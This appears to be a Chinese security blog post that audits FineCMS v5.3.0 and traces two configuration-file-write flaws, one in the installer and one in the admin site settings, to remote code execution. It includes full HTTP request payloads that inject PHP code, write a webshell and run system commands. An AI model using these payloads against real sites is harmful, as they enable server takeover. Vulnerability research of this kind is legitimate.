0x00 背景

最近在挖掘FineCMS源码的漏洞,发现了一些有趣的洞,斗哥计划先从配置文件写入开始分析,然后再结合存储XSS进行GetShell,本篇先分析配置文件写入的问题,下周再分析存储XSS的问题,最终通过这两类洞的组合利用GetShell,大体思路流程很简单,但是代码分析中有蛮多技巧,期待与师傅们的交流讨论。

0x01 漏洞审计

1x00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206

问题文件: \finecms\finecms\system\core\Input.php

漏洞类型:配置文件写入问题

1x01 漏洞分析

在\finecms\finecms\dayrui\controllers\Install.php文件中的第127-131行发现如下代码块。

通过反向追溯在当前文件中的第75行中发现$data的创建位置。

跟入post方法,在\finecms\finecms\system\core\Input.php文件中的第255行中发现发 post方法的代码块。

跟入_fetch_from_array方法,在\finecms\finecms\system\core\Input.php文件中的第177-230行中发现该方法的代码块,代码主要对传入的数组进行简单的数据判断,代码较多这里列出重要的代码,当$xss_clean为TRUE的时候会进行xss_clean操作。通过追溯$xss_clean变量,发现是从\finecms\finecms\dayrui\config\config.php配置文件中的$config['global_xss_filtering']获取的,但是默认情况下该变量的值为FALSE,不会进行任何的XSS过滤。

但是当$config['global_xss_filtering']为TRUE会进入\finecms\finecms\system\core\Security.php的xss_clean方法进行XSS过滤,但是不进行单引号的转义,但是还过滤了PHP的标签和一些关键函数,由于还过滤了尖括号所以标签没想到绕过方法,但是可以使用类似system/()/('whoami')的方式绕过关键字的过滤规则进行代码执行。

因此此处可以引入单引号,从而导致写入php代码进行GetShell。

1x02 漏洞复现

在进行安装的时候,如果$config['global_xss_filtering']开启了,即TRUE,可构造如下请求可以执行PHP代码导致GetShellPOST /index.php?c=install&m=index&step=3 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: [http://127.0.0.1/index.php?c=install&m=index&step=3](http://127.0.0.1/index.php?c=install&m=index&step=3)

Content-Length: 172

Connection: close

data%5Bdbhost%5D=127.0.0.1&data%5Bdbuser%5D=root&data%5Bdbpw%5D=root&data%5Bdbname%5D=FineCMS&data%5Bdbprefix%5D=fn_').die(system/*()*/('whoami'));array(//&data%5Bdemo%5D=1

如果$config['global_xss_filtering']未开启即为FALSE,进行如下请求可以GetShell。POST /index.php?c=install&m=index&step=3 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: [http://127.0.0.1/index.php?c=install&m=index&step=3](http://127.0.0.1/index.php?c=install&m=index&step=3)

Content-Length: 195

Connection: close

data%5Bdbhost%5D=127.0.0.1&data%5Bdbuser%5D=root&data%5Bdbpw%5D=root&data%5Bdbname%5D=FineCMS&data%5Bdbprefix%5D=fn_'.die(fwrite(fopen('evil.php', 'w'), '<?php phpinfo();?>')),//&data%5Bdemo%5D=1

成功写入文件并生成evil.php:

访问evil.php成功GetShell:

2x00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206

问题文件: \finecms\finecms\dayrui\libraries\Dconfig.php

漏洞类型:配置文件写入问题

2x01 漏洞分析

在文件\finecms\finecms\dayrui\controllers\admin\Site.php的第46-67行中发现如下代码块,使用post接收data的数据,然后在检测域名是否被使用,未被使用将更新数据库中fn_site表中的domain的字段。

跟入$this->site_model->cache(),在\finecms\finecms\dayrui\models\Site_model.php文件中的第323-368行中,发现cache()方法,重点看第325行和338行。

跟入$this->get_site_data()方法,在\finecms\finecms\dayrui\models\Site_model.php文件中的第285-300行发现代码块,分析代码块知道是进行如下的数据查询,把前面存到数据库中的配置,取出来然后赋给$data, 通过打印$data可以知道到的就是站点配置的信息。

跟进$t['domain'] && $domain[$t['domain']] = $id;,$domain最终传入了如下\finecms\finecms\dayrui\models\Site_model.php文件中的第363行代码。

因此foreach ($data as $id => $t)后对$domain[$t['domain']] = $id;进行赋值,其中为$domain变量传入了键名$t['domain'],又因为to_require_one中不会对数组的键名进行安全处理,因此可以引入单引号,存在文件写入的问题。

2x02 漏洞复现

可以通过构造如下请求进行文件写入,并执行代码的操作:POST /admin.php?c=site&m=index&func=assert&evil=system('whoami') HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: application/json, text/javascript, /; q=0.01

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: [http://127.0.0.1/admin.php?c=site&m=index](http://127.0.0.1/admin.php?c=site&m=index)

Content-Length: 95

Cookie: member_uid=1; member_cookie=398ecbf6b4b29dd1a5d0; 8b0cba072045805256806b2b24239ded_ci_session=09t3nk6i1l5bfevngel2clvbuf1504p8

Connection: close

ids[]=1&data[1][name]=FineCMS&data[1][domain]=127.0.0.1'=>1).die($_GET['func']($_GET['evil'])//

0x03 小结

本篇仅列举了两处这类问题,其实该源码还有其他处文件写入问题,大家也可以自行审计去发现。留下个小疑问,这些后台的洞大家有啥办法从前台去利用呢? 有想法的可以私我thinking_balabala@163.com,下周我将给出我的方法,期待一起交流。

finecms aip.php漏洞,FineCMS漏洞挖掘相关推荐

  1. web安全从基础术语、windows/linux基础到安全漏洞/病毒木马挖掘与分析利用(持续更新)

    web安全知识从基础术语.windows/linux基础到安全漏洞/病毒木马挖掘与分析利用(持续更新) 专业术语 web环境搭建 windows基础 linux基础 linux系统命令 linux命令 ...

  2. php越权执行命令漏洞_PHP漏洞挖掘思路+实例 第二章

    0x00 背景 感谢各位的评论与讨论,经过研讨的地方在文章中标出. 补充之前第一篇文章中思路,重新加入了最近发现的一些实例(也有部分来自wooyun上的牛人们已公开的漏洞,漏洞归属原作者并均在文章内标 ...

  3. web漏洞-xss漏洞

    web漏洞-xss漏洞 文章目录 web漏洞-xss漏洞 前言 xss介绍 什么是xss xss漏洞产生原因 xss漏洞危害 xss漏洞分类 反射型xss 存储型xss DOM型xss xss漏洞防护 ...

  4. thinkphp日志泄漏漏洞_ThinkPHP漏洞分析与利用

    一.组件介绍 1.1 基本信息 ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和Ta ...

  5. ThinkPHP V5.0.5漏洞_ThinkPHP漏洞分析与利用

    一.组件介绍 1.1 基本信息 ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和Ta ...

  6. 活跃高危安全漏洞盘点漏洞关注

    漏洞公告 漏洞跟踪 2020 年 1 月到 12 月,安恒应急响应中心公众号发布了超过 70 篇高危安全漏洞和 高级攻击事件风险提示,包含了 50 家以上软件产品和厂商的安全公告解读,预警的安 全漏洞 ...

  7. Microsoft RTF栈溢出漏洞(CVE-2010-3333)漏洞分析

    文章目录 漏洞描述 分析环境 RTF文件格式 基于栈回溯的漏洞分析方法 漏洞利用 Office 2003与Office 2007 Exploit通用性研究 漏洞描述 Microsoft Office ...

  8. linux ip协议栈 漏洞,【漏洞预警】雪藏11年:Linux kernel DCCP double-free 权限提升漏洞(CVE-2017-6074)...

    漏洞描述 漏洞编号:CVE-2017-6074 漏洞发现者:Andrey Konovalov 漏洞危害:通过非特权进程获得内核代码执行进而提升权限 影响范围:Linux内核版本>2.6.18(2 ...

  9. php post 漏洞_WordPress漏洞分析

    根据CVE官方漏洞通报得知wordpress新出一个组合式rce漏洞,漏洞编号分别为CVE-2019-8943和CVE-2019-8942,下载漏洞版本源码,分析漏洞触发过程,注:漏洞复现时一定要断网 ...

  10. 紧急:Spring框架被爆出存在0day级别远程命令执行漏洞。漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响。该漏洞目前无官方修复补丁

    Spring框架被爆出存在0day级别远程命令执行漏洞.漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响. 漏洞信息和漏洞影响排查方法如下: 漏洞名称 ...

最新文章

  1. 深度学习中的优化算法串讲
  2. Learn About Salesforce Flow for Service
  3. 直播 | ACL 2021论文解读:基于对抗学习的事件抽取预训练模型
  4. 在TOMCAT中部署项目的几种方法
  5. servlet的执行过程
  6. 【转】CT解析重建**
  7. Java基础教程【第二章:Java数据类型和变量】
  8. 微服务架构设计的简单理解
  9. 菜鸟打印助手接口_打印快递单,这4件事儿你非做不可
  10. 使用Ehome协议将设备接入EasyCVR无法注册成功原因排查
  11. 附pdf下载 | 《机器学习数学基础》电子书
  12. 开源IgH EtherCAT主站方案,基于IMX8、ZYNQ、AM335x、T3等平台
  13. linux服务器运维工程师怎么样,怎样才算合格的运维工程师?linux运维技术
  14. IJCAI 2022 | 量化交易相关论文(附论文链接)
  15. 新世纪大学英语(第二版)综合教程第一册 Unit 3 (中英翻译和重点单词)
  16. 最近很火的程序员成语,你知道几个?
  17. python歌词解析器
  18. 华为Honor6打开开发者选项
  19. ArcGIS_数字高程模型的建立
  20. TI的CC2530单片机检测不同类型的方波

热门文章

  1. 怎么监控mysql数据变化_mysql数据库数据变化实时监控
  2. 数电实验 可逆计数器设计
  3. python处理grd格式文件_python json pickle 模块
  4. 将负数转换为整数(绝对值函数)
  5. 2012第35周国内Android应用下载动态
  6. 编译原理(八)消除空产生式
  7. 基于ZEGO SDK实现多人视频通话功能
  8. Linux定时任务的基础操作
  9. 力扣刷题 DAY_71 回溯
  10. 模拟飞机票订票系统设计心得